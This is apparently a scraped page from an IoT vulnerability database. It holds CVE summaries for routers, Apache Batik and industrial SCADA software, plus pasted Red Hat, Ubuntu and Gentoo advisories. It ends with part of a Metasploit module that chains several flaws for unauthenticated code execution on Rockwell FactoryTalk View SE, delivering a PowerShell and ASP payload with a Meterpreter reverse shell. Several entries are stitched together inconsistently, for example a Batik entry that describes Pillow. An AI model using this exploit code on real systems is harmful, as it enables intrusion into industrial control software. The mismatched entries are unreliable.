VARIoT IoT vulnerabilities database

VAR-202006-0988 | CVE-2020-14965 | TP-Link TL-WR740N and TL-WR740ND Injection vulnerabilities in devices |
CVSS V2: 3.5 CVSS V3: 4.8 Severity: MEDIUM |
On TP-Link TL-WR740N v4 and TL-WR740ND v4 devices, an attacker with access to the admin panel can inject HTML code and change the HTML context of the target pages and stations in the access-control settings via targets_lists_name or hosts_lists_name. The vulnerability can also be exploited through a CSRF, requiring no authentication as an administrator. TP-Link TL-WR740N and TL-WR740ND A device contains an injection vulnerability.Information may be obtained and tampered with. TP-Link TL-WR740N and TP-Link TL-WR740ND are both wireless routers of China's TP-Link company.
There are security vulnerabilities in TP-Link TL-WR740N v4 and TL-WR740ND v4
VAR-202011-1478 | CVE-2019-17566 | Apache Batik Server-side Request Forgery Vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
Apache Batik is vulnerable to server-side request forgery, caused by improper input validation by the "xlink:href" attributes. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests. Pillow is a Python-based image processing library.
There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements.
The purpose of this text-only errata is to inform you about the security
issues fixed in this release.
Installation instructions are available from the Fuse 7.8.0 product
documentation page:
https://access.redhat.com/documentation/en-us/red_hat_fuse/7.8/
4. Bugs fixed (https://bugzilla.redhat.com/):
1665601 - CVE-2018-1000873 jackson-modules-java8: DoS due to an Improper Input Validation
1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM
1670593 - CVE-2019-3773 spring-ws: XML External Entity Injection (XXE) when receiving XML data from untrusted sources
1670597 - CVE-2019-3774 spring-batch: XML External Entity Injection (XXE) when receiving XML data from untrusted sources
1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser
1703402 - CVE-2019-2692 mysql-connector-java: privilege escalation in MySQL connector
1705975 - CVE-2020-1714 keycloak: Lack of checks in ObjectInputStream leading to Remote Code Execution
1731271 - CVE-2019-10202 codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities
1738673 - CVE-2019-10219 hibernate-validator: safeHTML validator allows XSS
1764607 - CVE-2019-0210 thrift: Out-of-bounds read related to TJSONProtocol or TSimpleJSONProtocol
1764612 - CVE-2019-0205 thrift: Endless loop when feed with specific input data
1780445 - CVE-2019-19343 Undertow: Memory Leak in Undertow HttpOpenListener due to holding remoting connections indefinitely
1796617 - CVE-2020-1719 Wildfly: EJBContext principal is not popped back after invoking another EJB using a different Security Domain
1797006 - CVE-2019-12423 cxf: OpenId Connect token service does not properly validate the clientId
1799475 - CVE-2020-5398 springframework: RFD attack via Content-Disposition Header sourced from request input by Spring MVC or Spring WebFlux Application
1801149 - CVE-2019-13990 libquartz: XXE attacks via job description
1801380 - CVE-2020-7226 cryptacular: excessive memory allocation during a decode operation
1816170 - CVE-2019-12406 cxf: does not restrict the number of message attachments
1816216 - CVE-2020-11612 netty: compression/decompression codecs don't enforce limits on buffer allocation sizes
1822759 - CVE-2020-1950 tika: excessive memory usage in PSDParser
1831139 - CVE-2020-9488 log4j: improper validation of certificate with host mismatch in SMTP appender
1834512 - CVE-2020-10740 wildfly: unsafe deserialization in Wildfly Enterprise Java Beans
1848126 - CVE-2020-1960 apache-flink: JMX information disclosure vulnerability
1848433 - CVE-2020-11971 camel: DNS Rebinding in JMX Connector could result in remote command execution
1848464 - CVE-2020-11972 camel: RabbitMQ enables Java deserialization by default which could leed to remote code execution
1848465 - CVE-2020-11973 camel: Netty enables Java deserialization by default which could leed to remote code execution
1848617 - CVE-2019-17566 batik: SSRF via "xlink:href"
1850042 - CVE-2020-9489 tika-core: Denial of Service Vulnerabilities in Some of Apache Tika's Parsers
1850069 - CVE-2020-11989 shiro: spring dynamic controllers, a specially crafted request may cause an authentication bypass
1850450 - CVE-2020-11980 karaf: A remote client could create MBeans from arbitrary URLs
1852985 - CVE-2020-13692 postgresql-jdbc: XML external entity (XXE) vulnerability in PgSQLXML
1855786 - CVE-2020-11994 camel: server-side template injection and arbitrary file disclosure on templating components
1855826 - CVE-2020-14326 RESTEasy: Caching routes in RootNode may result in DoS
1864680 - CVE-2019-17638 jetty: double release of resource can lead to information disclosure
1869860 - CVE-2020-13933 shiro: specially crafted HTTP request may cause an authentication bypass
1879743 - CVE-2019-11777 org.eclipse.paho.client.mqttv3: Improper hostname validation in the MQTT library
5. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
=====================================================================
Red Hat Security Advisory
Synopsis: Moderate: Red Hat Decision Manager 7.9.0 security update
Advisory ID: RHSA-2020:4960-01
Product: Red Hat Decision Manager
Advisory URL: https://access.redhat.com/errata/RHSA-2020:4960
Issue date: 2020-11-05
CVE Names: CVE-2019-14900 CVE-2019-17566 CVE-2020-1748
CVE-2020-1945 CVE-2020-1954 CVE-2020-2875
CVE-2020-2933 CVE-2020-2934 CVE-2020-10683
CVE-2020-10693 CVE-2020-10714
=====================================================================
1. Summary:
An update is now available for Red Hat Decision Manager.
Red Hat Product Security has rated this update as having a security impact
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which
gives a detailed severity rating, is available for each vulnerability from
the CVE link(s) in the References section.
2. Description:
Red Hat Decision Manager is an open source decision management platform
that combines business rules management, complex event processing, Decision
Model & Notation (DMN) execution, and Business Optimizer for solving
planning problems. It automates business decisions and makes that logic
available to the entire business.
This release of Red Hat Decision Manager 7.9.0 serves as an update to Red
Hat Decision Manager 7.8.1, and includes bug fixes and enhancements, which
are documented in the Release Notes document linked to in the References.
Security Fix(es):
* hibernate: SQL injection issue in Hibernate ORM (CVE-2019-14900)
* batik: SSRF via "xlink:href" (CVE-2019-17566)
* Wildfly: Improper authorization issue in WildFlySecurityManager when
using alternative protection domain (CVE-2020-1748)
* ant: insecure temporary file vulnerability (CVE-2020-1945)
* dom4j: XML External Entity vulnerability in default SAX parser
(CVE-2020-10683)
* hibernate-validator: Improper input validation in the interpolation of
constraint error messages (CVE-2020-10693)
* wildfly-elytron: session fixation when using FORM authentication
(CVE-2020-10714)
* cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954)
* mysql-connector-java: allows unauthenticated attacker with network access
via multiple protocols to compromise MySQL Connectors which could result in
unauthorized update, insert or delete (CVE-2020-2875)
* mysql-connector-java: allows high privileged attacker with network access
via multiple protocols to compromise MySQL Connectors which could result in
unauthorized partial DoS (CVE-2020-2933)
* mysql-connector-java: allows unauthenticated attacker with network access
via multiple protocols to compromise MySQL Connectors which could result in
unauthorized update, insert or delete (CVE-2020-2934)
For more details about the security issue(s), including the impact, a CVSS
score, acknowledgments, and other related information, refer to the CVE
page(s) listed in the References section.
3. Solution:
For on-premise installations, before applying the update, back up your
existing installation, including all applications, configuration files,
databases and database settings, and so on.
It is recommended to halt the server by stopping the JBoss Application
Server process before installing this update; after installing the update,
restart the server by starting the JBoss Application Server process.
The References section of this erratum contains a download link (you must
log in to download the update).
4. Bugs fixed (https://bugzilla.redhat.com/):
1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM
1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser
1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages
1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain
1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack
1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication
1837444 - CVE-2020-1945 ant: insecure temporary file vulnerability
1848617 - CVE-2019-17566 batik: SSRF via "xlink:href"
1851014 - CVE-2020-2934 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete
1851019 - CVE-2020-2875 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete
1851022 - CVE-2020-2933 mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS
5. References:
https://access.redhat.com/security/cve/CVE-2019-14900
https://access.redhat.com/security/cve/CVE-2019-17566
https://access.redhat.com/security/cve/CVE-2020-1748
https://access.redhat.com/security/cve/CVE-2020-1945
https://access.redhat.com/security/cve/CVE-2020-1954
https://access.redhat.com/security/cve/CVE-2020-2875
https://access.redhat.com/security/cve/CVE-2020-2933
https://access.redhat.com/security/cve/CVE-2020-2934
https://access.redhat.com/security/cve/CVE-2020-10683
https://access.redhat.com/security/cve/CVE-2020-10693
https://access.redhat.com/security/cve/CVE-2020-10714
https://access.redhat.com/security/updates/classification/#moderate
https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=rhdm&version=7.9.0
https://access.redhat.com/documentation/en-us/red_hat_decision_manager/7.9/
6. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2020 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIVAwUBX6RI8tzjgjWX9erEAQgb8g//bOAn52SE3WqFyv9Xew8jkqzxj0eO6uEf
K4knKv2sOff6Kp9+PW7nBTU6+5c+ejBXEpT4BGUwlOKF6b77l0Rt/p4mfaN1ZzqA
95IjiTQ1szog0CPhTCpFqAabeenKr1fLMz8Y9+CEM4EIC8NJoKP4KdNx8m96OtjA
2gPFHGV7kSe9TZErvsicTmnBWiTfq9Nh8OUvg5hOLJ1p+O3nK6UA2kBSrs18vjyA
9QhT6D+v/ptddiRrNFq4OjgRw68BllFZpidSQD+SDZ3fEJqK5A/cVFzUBQYLVk4h
azVywCt49CtT9wLxGFDeL13d24KziAoWDWVuC5kz/ERfdOzPKl+cEP8x5K1PBZgi
uLp4le4n/GczjJiLVouHKsUaWQFBAQcJlOiAI6t/4j9ht1NaRd4cQEC5+ANzkjGr
qm1nAub3cUszL3rdb1YVt+uJ1uWCIz6EmrfNeglWAfVLBqOeS6Ng0AtBbVQTj5qK
4J2ZujOjegc3eH3SYz2/ilc4cClpMigR6v83pAUDG/k7nMKp4b6KnDLi2YIzq4Fk
nrq3scZ03u0L+4a2WOUaKtoBcRJGr8sM1w45dWPtTiEEzA1U95UT0f+zidlexQSR
6V93caKvx3mrmEUh+dly/N6IL0EHGU/YRRXhouKjd6Zx+psgcDgg7pGu3YLWtIo7
6ENlCG73lC4=
=cbJe
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
. =========================================================================
Ubuntu Security Notice USN-6117-1
May 30, 2023
batik vulnerabilities
=========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 22.10
- Ubuntu 22.04 LTS
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS (Available with Ubuntu Pro)
- Ubuntu 14.04 LTS (Available with Ubuntu Pro)
Summary:
Several security issues were fixed in Apache Batik. An
attacker could possibly use this to perform a cross site request forgery
attack. (CVE-2019-17566, CVE-2020-11987, CVE-2022-38398, CVE-2022-38648)
It was discovered that Apache Batik incorrectly handled Jar URLs in some
situations. A remote attacker could use this issue to access files on the
server. (CVE-2022-40146)
It was discovered that Apache Batik allowed running untrusted Java code from
an SVG. (CVE-2022-41704, CVE-2022-42890)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 22.10:
libbatik-java 1.14-2ubuntu0.1
Ubuntu 22.04 LTS:
libbatik-java 1.14-1ubuntu0.2
Ubuntu 20.04 LTS:
libbatik-java 1.12-1ubuntu0.1
Ubuntu 18.04 LTS:
libbatik-java 1.10-2~18.04.1
Ubuntu 16.04 LTS (Available with Ubuntu Pro):
libbatik-java 1.8-3ubuntu1+esm1
Ubuntu 14.04 LTS (Available with Ubuntu Pro):
libbatik-java 1.7.ubuntu-8ubuntu2.14.04.3+esm1
In general, a standard system update will make all the necessary changes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 202401-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
https://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Apache Batik: Multiple Vulnerabilities
Date: January 07, 2024
Bugs: #724534, #872689, #918088
ID: 202401-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in Apache Batik, the worst of
which could result in arbitrary code execution.
Background
==========
Apache Batik is a Java-based toolkit for applications or applets that
want to use images in the Scalable Vector Graphics (SVG) format for
various purposes, such as display, generation or manipulation.
Affected packages
=================
Package Vulnerable Unaffected
-------------- ------------ ------------
dev-java/batik < 1.17 >= 1.17
Description
===========
Multiple vulnerabilities have been discovered in Apache Batik. Please
review the CVE identifiers referenced below for details.
Impact
======
Please review the referenced CVE identifiers for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Apache Batik users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-java/batik-1.17"
References
==========
[ 1 ] CVE-2018-8013
https://nvd.nist.gov/vuln/detail/CVE-2018-8013
[ 2 ] CVE-2019-17566
https://nvd.nist.gov/vuln/detail/CVE-2019-17566
[ 3 ] CVE-2020-11987
https://nvd.nist.gov/vuln/detail/CVE-2020-11987
[ 4 ] CVE-2022-38398
https://nvd.nist.gov/vuln/detail/CVE-2022-38398
[ 5 ] CVE-2022-38648
https://nvd.nist.gov/vuln/detail/CVE-2022-38648
[ 6 ] CVE-2022-40146
https://nvd.nist.gov/vuln/detail/CVE-2022-40146
[ 7 ] CVE-2022-41704
https://nvd.nist.gov/vuln/detail/CVE-2022-41704
[ 8 ] CVE-2022-42890
https://nvd.nist.gov/vuln/detail/CVE-2022-42890
[ 9 ] CVE-2022-44729
https://nvd.nist.gov/vuln/detail/CVE-2022-44729
[ 10 ] CVE-2022-44730
https://nvd.nist.gov/vuln/detail/CVE-2022-44730
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/202401-11
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2024 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5
VAR-202006-1966 | No CVE | (Pwn2Own) Rockwell Automation FactoryTalk View SE RegisterEDSFiles Directory Traversal Remote Code Execution Vulnerability |
CVSS V2: - CVSS V3: 9.8 Severity: CRITICAL |
This vulnerability allows remote attackers to create arbitrary files on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of fileName parameter in the RegisterEDSFiles tag. The issue results in the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
VAR-202006-0920 | CVE-2020-14461 | ZyXEL Armor X1 WAP6806 Path Traversal Vulnerability |
CVSS V2: 5.0 CVSS V3: 8.6 Severity: HIGH |
Zyxel Armor X1 WAP6806 1.00(ABAL.6)C0 devices allow Directory Traversal via the images/eaZy/ URI. ZyXEL Armor X1 WAP6806 is a wireless network card product of ZyXEL Corporation of Taiwan, China. The vulnerability stems from network systems or products failing to properly filter special elements in resources or file paths. An attacker could use the vulnerability to access a location outside the restricted directory
VAR-202006-1548 | CVE-2020-9288 | Fortinet FortiWLC Cross-Site Scripting Vulnerability |
CVSS V2: 3.5 CVSS V3: 5.4 Severity: MEDIUM |
An improper neutralization of input vulnerability in FortiWLC 8.5.1 allows a remote authenticated attacker to perform a stored cross site scripting attack (XSS) via the ESS profile or the Radius Profile. FortiWLC Exists in a cross-site scripting vulnerability.Information may be obtained and tampered with. Fortinet FortiWLC is a wireless LAN controller from Fortinet. The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code
VAR-202006-1684 | CVE-2020-6644 | FortiDeceptor Session deadline vulnerability in |
CVSS V2: 6.8 CVSS V3: 8.1 Severity: HIGH |
An insufficient session expiration vulnerability in FortiDeceptor 3.0.0 and below allows an attacker to reuse the unexpired admin user session IDs to gain admin privileges, should the attacker be able to obtain that session ID via other, hypothetical attacks. FortiDeceptor Exists in a session deadline vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Fortinet FortiDeceptor is a network threat detection platform developed by Fortinet. The platform mainly exposes cyber threats, etc. through deception techniques. There is a security vulnerability in Fortinet FortiDeceptor 3.0.0 and earlier versions. The vulnerability is caused by the fact that the session ID does not expire after the program is logged out
VAR-202006-1867 | No CVE | GX Works2 has a denial of service vulnerability (CNVD-2020-32342) |
CVSS V2: 4.9 CVSS V3: - Severity: MEDIUM |
GX Works2 is a PLC programming software.
GX Works2 has a denial of service vulnerability. The attacker sends a constructed malicious data packet to cause illegal memory access to cause a denial of service, or may execute arbitrary code.
VAR-202006-1900 | No CVE | Denial of Service Vulnerability in Changyuan Shenrui PRS-7910 Data Gateway |
CVSS V2: 4.9 CVSS V3: - Severity: MEDIUM |
Changyuan Shenrui PRS-7910 Data Gateway is an Ethernet-based data gateway launched by Changyuan Shenrui Automation Automation Co., Ltd.
There is a denial of service vulnerability in Changyuan Shenrui PRS-7910 data gateway. An attacker can use the vulnerability to prevent the data gateway from providing service (denial of service).
VAR-202006-1576 | CVE-2020-5345 | plural Dell EMC Vulnerability regarding lack of certification in products |
CVSS V2: 5.5 CVSS V3: 5.4 Severity: MEDIUM |
Dell EMC Unisphere for PowerMax versions prior to 9.1.0.17, Dell EMC Unisphere for PowerMax Virtual Appliance versions prior to 9.1.0.17, and PowerMax OS Release 5978 contain an authorization bypass vulnerability. An authenticated malicious user may potentially execute commands to alter or stop database statistics. Dell EMC Unisphere for PowerMax is a set of graphical management tools for PowerMax storage arrays developed by Dell
VAR-202006-1575 | CVE-2020-5367 | plural Dell EMC Product validation vulnerabilities |
CVSS V2: 6.8 CVSS V3: 8.1 Severity: HIGH |
Dell EMC Unisphere for PowerMax versions prior to 9.1.0.17, Dell EMC Unisphere for PowerMax Virtual Appliance versions prior to 9.1.0.17, and PowerMax OS Release 5978 contain an improper certificate validation vulnerability. An unauthenticated remote attacker may potentially exploit this vulnerability to carry out a man-in-the-middle attack by supplying a crafted certificate and intercepting the victim's traffic to view or modify a victim's data in transit. (DoS) It may be put into a state. Dell EMC Unisphere for PowerMax is a set of graphical management tools for PowerMax storage arrays developed by Dell
VAR-202007-1433 | CVE-2020-12013 | ICONICS Genesis64 TestQuery SQL Injection Remote Code Execution Vulnerability |
CVSS V2: 6.4 CVSS V3: 9.1 Severity: CRITICAL |
A specially crafted WCF client that interfaces to the may allow the execution of certain arbitrary SQL commands remotely. This affects: Mitsubishi Electric MC Works64 Version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 Version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server v10.96 and prior; ICONICS GenBroker32 v9.5 and prior. The vulnerablity allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of requests to the TestQuery endpoint of the IcoFwxServer service. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of the current process.
There is a code injection vulnerability in Mitsubishi Electric MC Works64 4.02C (10.95.208.31) and previous versions and MC Works32 3.00A (9.50.255.02) version, remote attackers can use the specially crafted message to exploit this vulnerability to execute arbitrary SQL commands and leak, tamper with internal data. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0206 | CVE-2020-12009 | (Pwn2Own) ICONICS Genesis64 PKGX WbPackAndGoSettings Absolute Path Traversal Remote Code Execution Vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A specially crafted communication packet sent to the affected device could cause a denial-of-service condition due to a deserialization vulnerability. This affects: Mitsubishi Electric MC Works64 Version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 Version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server v10.96 and prior; ICONICS GenBroker32 v9.5 and prior. The vulnerablity allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of PKGX files. When parsing the WbPackAndGoSettings element, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0208 | CVE-2020-12015 | Unreliable data deserialization vulnerabilities in multiple MC products |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A specially crafted communication packet sent to the affected systems could cause a denial-of-service condition due to improper deserialization. This issue affects: Mitsubishi Electric MC Works64 version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server version 10.96 and prior; ICONICS GenBroker32 version 9.5 and prior. Several Mitsubishi Electric products contain vulnerabilities related to unreliable data deserialization.Service operation interruption (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists with the handling of serialized objects. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Mitsubishi Electric MC Works64 and MC Works32 are a set of data acquisition and monitoring system (SCADA) of Japan Mitsubishi Electric (Mitsubishi Electric) company. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0196 | CVE-2020-12031 | FactoryTalk View SE Buffer error vulnerability in |
CVSS V2: 4.6 CVSS V3: 7.8 Severity: HIGH |
In all versions of FactoryTalk View SE, after bypassing memory corruption mechanisms found in the operating system, a local, authenticated attacker may corrupt the associated memory space allowing for arbitrary code execution. Rockwell Automation recommends applying patch 1126290. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE Exists in a buffer error vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of project files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated object. An attacker can leverage this vulnerability to execute code in the context of the current process
VAR-202007-0207 | CVE-2020-12011 | (Pwn2Own) ICONICS Genesis64 VariantClear Out-Of-Bounds Access Remote Code Execution Vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
A specially crafted communication packet sent to the affected systems could cause a denial-of-service condition or allow remote code execution. This issue affects: Mitsubishi Electric MC Works64 version 4.02C (10.95.208.31) and earlier, all versions; MC Works32 version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server version 10.96 and prior; GenBroker32 version 9.5 and prior. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of indexes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Mitsubishi Electric MC Works64 and MC Works32 are a set of data acquisition and monitoring system (SCADA) of Japan Mitsubishi Electric (Mitsubishi Electric) company. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202006-0322 | CVE-2020-12033 | Rockwell Automation FactoryTalk Services Platform Input verification vulnerability in |
CVSS V2: 5.8 CVSS V3: 8.8 Severity: HIGH |
In Rockwell Automation FactoryTalk Services Platform, all versions, the redundancy host service (RdcyHost.exe) does not validate supplied identifiers, which could allow an unauthenticated, adjacent attacker to execute remote COM objects with elevated privileges. Rockwell Automation FactoryTalk Services Platform There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AddAgent method. The issue results from a lack of authentication required to instantiate a COM object on the server. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. It provides routine services for applications, such as diagnostic information, health monitoring, and real-time data access
VAR-202007-0193 | CVE-2020-12027 | Rockwell Automation FactoryTalk View SE Information Disclosure Vulnerability |
CVSS V2: 4.0 CVSS V3: 5.3 Severity: MEDIUM |
All versions of FactoryTalk View SE disclose the hostnames and file paths for certain files within the system. A remote, authenticated attacker may be able to leverage this information for reconnaissance efforts. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is an information leakage vulnerability in.Information may be obtained. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the GetHMIProjects parameter provided to hmi_isapi.dll. The issue results from a lack of authentication required to query the server. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. The vulnerability stems from network system or product configuration errors during operation. ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
targets, two information leak vulnerabilities are also abused.
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
[ 'CVE', '2020-12027'],
[ 'CVE', '2020-12028'],
[ 'CVE', '2020-12029'],
[ 'ZDI', '20-727'],
[ 'ZDI', '20-728'],
[ 'ZDI', '20-729'],
[ 'ZDI', '20-730'],
],
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => {
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
'DefaultOptions' => { 'WfsDelay' => 20 },
'Targets' =>
[
[ 'Rockwell Automation FactoryTalk SE', {} ]
],
'DisclosureDate' => '2020-06-22',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
]
)
register_advanced_options(
[
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
]
)
end
def send_to_factory(path)
send_request_cgi({
'uri' => normalize_uri(target_uri, path),
'method' => 'GET'
})
end
def check
res = send_to_factory('/hmi_isapi.dll')
return Exploit::CheckCode::Safe unless res && res.code == 200
# Parse version from response body
# Example: Version 11.00.00.230
version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.')
# Is returned version sound?
unless version.empty?
if version.length != 4
return Exploit::CheckCode::Detected
end
print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
# we know this exact version is vulnerable (11.00.00.230)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def on_request_uri(cli, request)
if request.uri.include?(@shelly)
print_good("#{peer} - Target connected, sending payload")
psh = cmd_psh_payload(
payload.encoded,
payload.arch.first
# without comspec it seems to fail, so keep it this way
# remove_comspec: true
)
# add double quotes for classic ASP escaping
psh.gsub!('"', '""')
# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
# If this module is not working on an older Windows version, try the below as payload:
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
send_response(cli, payload)
# payload file is deleted automatically by the server once we win the race!
